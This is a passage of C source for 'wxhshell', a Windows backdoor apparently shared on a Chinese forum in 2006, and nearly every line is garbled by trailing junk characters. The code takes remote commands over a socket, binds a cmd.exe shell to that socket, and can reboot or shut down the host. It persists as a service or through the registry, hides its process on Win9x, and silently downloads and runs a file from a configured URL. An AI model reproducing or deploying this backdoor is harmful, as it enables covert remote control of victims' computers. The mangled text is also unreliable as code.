    switch(cmd[0]) {  &<nj~BL  
  -Cn x!g}  
  // 帮助 up_Qv#`Q  
  case '?': { +"}#4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B`{7-Asc1  
    break; ?,XrZRF  
  } (:Y0^  
  // 安装 X|&v]mJ  
  case 'i': { ,c]<Yu  
    if(Install()) IKo,P$ PE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hW<TP'Zm*  
    else w-{a>ZU0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ eNKu  
    break; Q*jNJ^IW  
    } `@<>"ff#F  
  // 卸载 y@XE! L  
  case 'r': { 9U]3B)h%m  
    if(Uninstall()) r..&6-%:N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m!Y4+KTwD`  
    else 3A&: c/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xg(* j[ff3  
    break; op8[8pt%  
    } E;1QD/E$  
  // 显示 wxhshell 所在路径 aU\R!Y$/"  
  case 'p': { !l9i)6W  
    char svExeFile[MAX_PATH]; q"LE6?hs  
    strcpy(svExeFile,"\n\r"); '@6O3z_{  
      strcat(svExeFile,ExeFile); S =5br  
        send(wsh,svExeFile,strlen(svExeFile),0); 3g79/ w  
    break; m=[3"X3W1V  
    } "J(T?|t  
  // 重启 hQb3 8W[  
  case 'b': { Mq~g+` '  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O[Yc-4  
    if(Boot(REBOOT)) F_I.=zQr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jjT)3 c:J[  
    else { qs$w9I  
    closesocket(wsh); e6`g[Ap  
    ExitThread(0); 6N\f>c  
    } [AHoTlPZ  
    break; R4_BP5+  
    } d DrzO*a\  
  // 关机 q<XleC  
  case 'd': { f]4j7K!e]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r}S>t~p:  
    if(Boot(SHUTDOWN)) j^5VmG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); byJR6f  
    else { mYx6JU*`  
    closesocket(wsh); b[U;P=;=  
    ExitThread(0); B;64(Vsa8  
    } 9Zj9e  
    break; jp+s[rRc\{  
    } L#k`>Qn2  
  // 获取shell ]q`'l_O  
  case 's': { cj;k{ Moc  
    CmdShell(wsh); $Wn!vbL  
    closesocket(wsh); @ JfQ}`  
    ExitThread(0); 'O^<i`8U]  
    break; Mp`!zwR  
  } [QDM_n  
  // 退出 a{ p1Yy-]  
  case 'x': { X..<U}e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {>Yna"p  
    CloseIt(wsh); DCP B9:u  
    break; Lk lD^AJA  
    } Uz_OUTFM  
  // 离开 h+DK .$  
  case 'q': { c#zx" ,K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QTIC5cl,  
    closesocket(wsh); !d Z:Ih.[{  
    WSACleanup(); [R0E4A?M  
    exit(1); .b|!FWHNS  
    break; fR&x5Ika0  
        } X1XmaO% A  
  } ">FuCvQ  
  } qFE(H1hy  
Mi<l;ZP  
  // 提示信息 06]%$ -j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); exxH0^  
} F-=Xbyr3@  
  } BHf7\ +Ul  
miUjpXt  
  return; uskJ(!  
} g3| 62uDF  
LV8{c!"  
// shell模块句柄 X:JU#sI  
int CmdShell(SOCKET sock) rVM?[_'O  
{ !j%#7  
STARTUPINFO si; W`F?j-4  
ZeroMemory(&si,sizeof(si)); pGcijD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p~yGp] yJ9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YBupC!R  
PROCESS_INFORMATION ProcessInfo; #BW:*$>}  
char cmdline[]="cmd"; Utj4f-M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O`f[9^fN  
  return 0; 5 \iX%w@  
} T9?8@p\}(  
!BDJU  
// 自身启动模式 R*O<(  
int StartFromService(void) PUEEfq!%  
{ 4Z0Y8y8)  
typedef struct wCt!.<, .  
{ 'M35L30  
  DWORD ExitStatus; f {j`d&|  
  DWORD PebBaseAddress; }qg.Go  
  DWORD AffinityMask; m](q,65 2  
  DWORD BasePriority; JN-W`2  
  ULONG UniqueProcessId; -ZH6*7!  
  ULONG InheritedFromUniqueProcessId; HX#$ ^@Q(  
}   PROCESS_BASIC_INFORMATION; ,CIsZ1[VS  
KkZS6rD\  
PROCNTQSIP NtQueryInformationProcess; dmYgv^t  
Z#zXary5s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5}4>vEn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %\B@!4]  
M7.H;.?  
  HANDLE             hProcess; ~j yl  
  PROCESS_BASIC_INFORMATION pbi; \hD jZ  
xM_+vN *(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Yan,Bt{YJ  
  if(NULL == hInst ) return 0; d`3>@*NR<  
$D m|ol.Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A>C8whx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "b[w%KYyl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F.iJz4ya_  
@DuSii#.S  
  if (!NtQueryInformationProcess) return 0; ~\UAxB=  
}K|40oO5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ' 1D1y'  
  if(!hProcess) return 0; 7e=s`j  
rLE5fl5W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5@^['S4%8*  
C zxF  
  CloseHandle(hProcess); "H|hN  
lNx:_g:SrZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *n_7~ZX  
if(hProcess==NULL) return 0; J0 UF(  
O^r,H,3S  
HMODULE hMod; j[|mC;y.  
char procName[255]; ~m&q@ms&  
unsigned long cbNeeded; /-Y.A<ieN8  
g]9A?#GyE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /3o@I5  
aA=7x&z@  
  CloseHandle(hProcess); Gg3< }(  
J_d!` Hhe  
if(strstr(procName,"services")) return 1; // 以服务启动 8B;HMD  
)|B3TjH C  
  return 0; // 注册表启动 kqZ+e/o>O9  
} ~IQw?a.E  
ZDr&Alp)o  
// 主模块 K9c5HuGy  
int StartWxhshell(LPSTR lpCmdLine) bj_oA i  
{ .-}F~FES  
  SOCKET wsl; lj 2OOU{  
BOOL val=TRUE; ]dL#k>$0q  
  int port=0; 6Gh3r  
  struct sockaddr_in door; f5,!,]XO  
sh;>6xB  
  if(wscfg.ws_autoins) Install(); `|e3OCU  
u .,l_D_  
port=atoi(lpCmdLine); I5#zo,9  
NU%<Ws=  
if(port<=0) port=wscfg.ws_port; hIFfvUl  
)BmO[AiOM  
  WSADATA data; p* tAwl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6MmkEU z  
5^Ps(8VbS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _e$T'*q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q]wP^;\Jl  
  door.sin_family = AF_INET; GI)eq:K_U8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2!";?E  
  door.sin_port = htons(port); !T~C=,;  
oNp(GQ@0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z?)=4|  
closesocket(wsl); CYZ0F5+t  
return 1; n0opb [?  
} ~ ":}Rs  
%Iv*u sXP  
  if(listen(wsl,2) == INVALID_SOCKET) { ,o s M|!,  
closesocket(wsl); DgKe!w$  
return 1; 6Jd.Eg ~A7  
} 17+2`@vJgM  
  Wxhshell(wsl); \pVWYx  
  WSACleanup(); yc.9CTxx  
18o5Gs;yx  
return 0; $m;DwlM  
b>f{o_  
} ok(dCAKP  
Y1 *8&xT  
// 以NT服务方式启动 Kd;)E 9Ti  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +K7oyZg  
{ 52q<|MW%  
DWORD   status = 0; /s "Lsbe  
  DWORD   specificError = 0xfffffff; S(Q=2Y  
Qb?e A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ev9ltl{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8"C[sRhz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #pr{tL  
  serviceStatus.dwWin32ExitCode     = 0; y\zRv(T=  
  serviceStatus.dwServiceSpecificExitCode = 0; wMU}EoGS?  
  serviceStatus.dwCheckPoint       = 0; =k:yBswi  
  serviceStatus.dwWaitHint       = 0; lFbf9s:$B  
Jq_AR!} %  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FwqaWEk  
  if (hServiceStatusHandle==0) return; <L+y 6B  
IRIYj(J  
status = GetLastError(); EJ=ud9  
  if (status!=NO_ERROR) c&I"&oZ@&  
{ rA[wC%%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LW*v/`@  
    serviceStatus.dwCheckPoint       = 0; Mh8s@g  
    serviceStatus.dwWaitHint       = 0; k.!m-5E  
    serviceStatus.dwWin32ExitCode     = status; `,$PRN"]  
    serviceStatus.dwServiceSpecificExitCode = specificError; }$Z0v`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h+j{;evN  
    return; G!.%Qqs  
  } Ih^ziDcW  
Q<T+t0G\O-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Uq^-km#a  
  serviceStatus.dwCheckPoint       = 0; L'r gCOJ<  
  serviceStatus.dwWaitHint       = 0; UB,:won  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a}[ 1*_G  
} @k3xk1*  
]h?p3T$h  
// 处理NT服务事件,比如:启动、停止 N^%7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o+F < r#  
{ bz|-x"qk  
switch(fdwControl) dT'd C  
{ ?XB[awTD~  
case SERVICE_CONTROL_STOP: R_2T"  
  serviceStatus.dwWin32ExitCode = 0; J4#rOS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qz`v0"'w  
  serviceStatus.dwCheckPoint   = 0; 6D/K=-   
  serviceStatus.dwWaitHint     = 0; Q|(G -  
  { m#`1.5%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x@? YS  
  } =H;F{J "  
  return; !pxOhO.V  
case SERVICE_CONTROL_PAUSE: LGq T$ O|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PDkg@#&y,k  
  break; >*Ctp +X@  
case SERVICE_CONTROL_CONTINUE: [(*?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tO+Lf2Ni+  
  break; [^0 S#,L  
case SERVICE_CONTROL_INTERROGATE: pYz\GSd  
  break; N;R I A  
}; T7?cnK"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0[.T`tpN'  
} odh cU5  
wf2v9.;X:<  
// 标准应用程序主函数 &NH[b1NMr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u#nM_UJe  
{ uUJH^pW  
qu%}b>  
// 获取操作系统版本 )Y:C'*.r  
OsIsNt=GetOsVer(); .qS(-7<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8 DPn5E#M1  
HwZ"l31  
  // 从命令行安装 +'{d^-( (  
  if(strpbrk(lpCmdLine,"iI")) Install(); GUC.t7!  
^T*'B-`C7X  
  // 下载执行文件 9wdl1QS  
if(wscfg.ws_downexe) { GD0Q`gWNe  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D\^\_r):  
  WinExec(wscfg.ws_filenam,SW_HIDE); `rb}"V+  
} fVz0H1\J&  
8c%_R23  
if(!OsIsNt) { ~_a$5Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 cf,^7,-`"  
HideProc(); A5go)~x\  
StartWxhshell(lpCmdLine); '+v[z=.8]  
} _B7+n"t\r  
else "=,IbC  
  if(StartFromService()) )`K!XX$%  
  // 以服务方式启动 @{U@?6eZ  
  StartServiceCtrlDispatcher(DispatchTable); $7*@TMX  
else R?HuDxHk  
  // 普通方式启动 eXi}-~o  
  StartWxhshell(lpCmdLine); 4(&sw<k  
"2Q*-  
return 0; #+L:V&QE  
}
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只看该作者 1 发表于: 2006-10-10
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